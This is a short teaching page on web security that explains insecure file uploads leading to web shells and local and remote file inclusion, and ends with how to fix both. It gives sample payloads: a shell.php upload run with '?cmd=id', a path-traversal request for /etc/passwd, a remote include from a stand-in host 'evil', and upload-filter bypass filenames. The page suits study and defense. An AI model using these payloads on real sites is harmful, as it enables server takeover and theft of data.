unicornAll work
All theoryWeb security

File upload & inclusion

Uploading a web shell, and LFI/RFI tricking a page into loading the wrong file.

In a nutshell Two related web weaknesses about files. File upload flaws let you upload something the server will execute (a web shell) instead of just store. File inclusion (LFI/RFI) tricks a page into loading a file it shouldn't — a system file to read, or your own code to run. Both can turn a website into a shell on the server.

Insecure file upload → a web shell

Many sites let you upload files (avatars, documents). The danger: if an attacker uploads a script into a folder the web server executes, visiting it runs the attacker's code — a web shell, i.e. remote command execution.

upload  shell.php   →  /uploads/shell.php
visit   /uploads/shell.php?cmd=id   →  server runs `id`   (you have RCE)

What makes it insecure: no real type check (only the extension or client-declared type — both attacker-controlled), uploads stored in an executable directory, a predictable path.

Analogy — a mailroom that runs its mail. A safe mailroom files parcels on a shelf. A broken one follows the instructions written on any parcel it receives. Upload one that says "unlock the doors," and it does.

File inclusion — LFI and RFI

Some pages build a path from user input: page.php?file=about.php. If unrestricted:

LFI — local file

  • point at a local file it shouldn't reveal
  • ?file=../../../../etc/passwd
  • ../ climbs out (path traversal)
  • reads secrets; sometimes → code exec

RFI — remote file

  • point at a file on YOUR server
  • ?file=http://evil/shell.txt
  • server fetches and runs your code
  • rarer today (usually disabled)

Finding them

upload:    try shell.php, shell.php.jpg, shell.pHp, change declared type
inclusion: find a ?file= / ?page= param, test ../ and /etc/passwd
The fix Uploads: validate the real file type (not extension), rename to random, store outside the web root or somewhere non-executable, serve downloads through code. Inclusion: never build a path from raw input — use a fixed allow-list of pages and strip ../; disable remote includes. Same principle as every injection: input is data, never a path to trust or code to run.
All theory